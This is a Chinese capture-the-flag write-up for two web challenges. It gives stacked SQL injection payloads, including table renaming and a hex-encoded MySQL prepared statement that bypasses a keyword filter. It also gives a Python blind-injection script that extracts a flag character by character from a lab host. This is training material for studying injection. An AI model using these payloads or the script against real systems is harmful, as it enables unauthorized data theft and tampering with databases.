这道题考察的是堆叠注入,order by判断出有两个字段
这里也过滤了一些关键词
看到有两个表,flag字段在那个纯数字的表里,但是无法查询得到
words有两列,id和data(一会第一种方法要用到)
1';show columns from `1919810931114514`;#
这里的反引号用来表示表名,这里必须加上,但是words表不用加,这里猜测和表的数据类型有关,纯数字型的要加上
纯数字的表里只有一个字段是flag,且不能看到内容
第一种方法
修改数据库的结构
0';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;#
第二种方法
mysql预处理
1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
//select * from `1919810931114514`
[CISCN2019 华北赛区 Day2 Web1]Hack World**
这里是一个盲注过程
当查询正确时会出现提示
import requests
url = "http://e476f431-331c-4d28-9d51-595625cb22c6.node3.buuoj.cn/index.php"
result = ''
for i in range(1,50):
for j in range(45,125):
print(j)
payload = {"id":'(ascii(substr((select(flag)from(flag)),%d,1))=%d)'%(i,j)}
output = requests.post(url=url,data=payload)
# print(payload)
# print(output.text)
if "Hello" in output.text:
result += chr(j)
break
print(result)
自己写的一个小脚本